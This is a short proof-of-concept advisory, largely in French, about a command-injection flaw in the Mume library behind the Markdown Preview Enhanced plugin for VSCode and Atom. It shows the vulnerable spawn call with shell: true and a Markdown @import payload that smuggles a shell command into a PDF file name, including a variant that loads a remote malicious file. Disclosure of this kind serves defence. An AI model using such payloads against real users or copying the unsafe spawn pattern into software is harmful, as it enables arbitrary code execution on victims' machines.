
[PoC] Injection de commandes via l'import PDF dans Markdown Preview Enhanced (VSCode, Atom)
Injection de commande via l'import PDF dans Markdown Preview Enhanced (VSCode, Atom)
La bibliothèque d'outils Markdown Mume était vulnérable à une injection de commande en raison de l'utilisation de la commande spawn avec l'option {shell: true}. Cela pourrait permettre à un attaquant d'exécuter du code arbitraire en trompant la victime pour qu'elle ouvre un fichier Markdown spécialement conçu avec VSCode ou Atom. La bibliothèque alimente le plugin Markdown Preview Enhanced pour VSCode et Atom.
Vulnérable extrait de code :
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
Le document Markdown suivant permet à un attaquant d'exécuter une commande arbitraire :
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
Alternativement, la charge utile pourrait être exécutée depuis une source externe :
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
